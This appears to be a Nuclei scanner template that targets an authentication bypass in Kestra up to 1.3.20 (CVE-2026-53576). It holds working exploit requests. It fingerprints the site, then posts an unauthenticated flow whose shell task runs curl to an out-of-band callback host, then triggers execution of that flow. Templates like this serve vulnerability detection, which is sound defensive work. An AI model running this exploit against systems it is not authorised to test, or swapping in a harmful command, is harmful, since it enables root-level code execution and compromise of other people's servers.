Kestra <= 1.3.20 - Remote Code Execution

id: CVE-2026-53576

info:
  name: Kestra <= 1.3.20 - Remote Code Execution
  author: 0x_Akoko,pdteam,aryu-ru
  severity: critical
  description: |
    Kestra <= 1.3.20 contains an authentication bypass caused by misclassification of /configs endpoint in REST API filter, letting unauthenticated attackers create and execute root-level tasks, exploit requires unauthenticated access to /configs endpoint.
  impact: |
    Unauthenticated attackers can execute arbitrary code as root inside the container, potentially compromising the host via Docker socket access.
  remediation: |
    Update to versions 1.0.45 or 1.3.21 or later.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-53576
    - https://github.com/kestra-io/kestra/security/advisories/GHSA-2q47-568g-9h4f
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-53576
    cwe-id: CWE-306
  metadata:
    verified: true
    max-request: 2
    vendor: kestra
    product: kestra
    shodan-query: title:"Kestra"
    fofa-query: title="Kestra"
  tags: cve,cve2026,kestra,rce,oast,intrusive

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 3

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_any(body, "KESTRA", "<title>Kestra")'
        condition: and
        internal: true

  - raw:
      - |
        POST /api/v1/main/flows/configs HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-yaml

        id: configs
        namespace: configs
        tasks:
          - id: pwn
            type: io.kestra.plugin.scripts.shell.Commands
            taskRunner:
              type: io.kestra.plugin.core.runner.Process
            commands:
              - curl -m 5 -s http://{{interactsh-url}}/rce

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200 || status_code == 409'
          - 'contains(body, "configs")'
        condition: and
        internal: true

  - raw:
      - |
        POST /api/v1/main/executions/configs/configs HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----KestraBoundary

        ------KestraBoundary--

    matchers:
      - type: dsl
        dsl:
          - 'contains_any(interactsh_protocol, "http", "dns")'
          - 'status_code == 200 || status_code == 409'
        condition: and
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